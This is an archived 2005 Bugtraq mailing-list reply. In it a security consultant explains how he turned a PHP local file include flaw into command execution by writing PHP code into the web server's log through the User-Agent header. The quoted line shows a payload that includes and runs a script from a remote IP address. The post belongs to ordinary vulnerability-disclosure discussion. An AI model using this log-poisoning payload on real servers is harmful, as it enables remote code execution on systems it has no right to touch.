bugtraq - Re: using php local file include vulnerabilities for command execution

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <20051011174439.GA10389@zitc.de>
Date: Tue, 11 Oct 2005 19:44:39 +0200
From: Andreas Zeidler <az@...c.de>
To: Bugtraq <bugtraq@...urityfocus.com>
Cc: Maksymilian Arciemowicz <max@...tsuper.pl>
Subject: Re: using php local file include vulnerabilities for command execution

On Tue, Oct 11 18:34, Andreas Zeidler <az@...c.de> wrote:
> the idea that hit me before falling asleep was to send the code i needed
> (like <?php include('http://xx.xx.xx.xx/script.php'); ?>) via the
> referer string, this way having the web server write it into a file

well, i actually used the user-agent here, not the referer.  but i guess
unless the server checks if the given referer represents a valid url i
won't make much difference...


> andi

-- 
zeidler it consulting - http://zitc.de/ - info@...c.de
karl-kunger-str 59 - 12435 berlin - telefon +49 30 25563779
keine softwarepatente in europa! - http://noepatents.eu.org/

Download attachment "signature.asc" of type "application/pgp-signature" (190 bytes)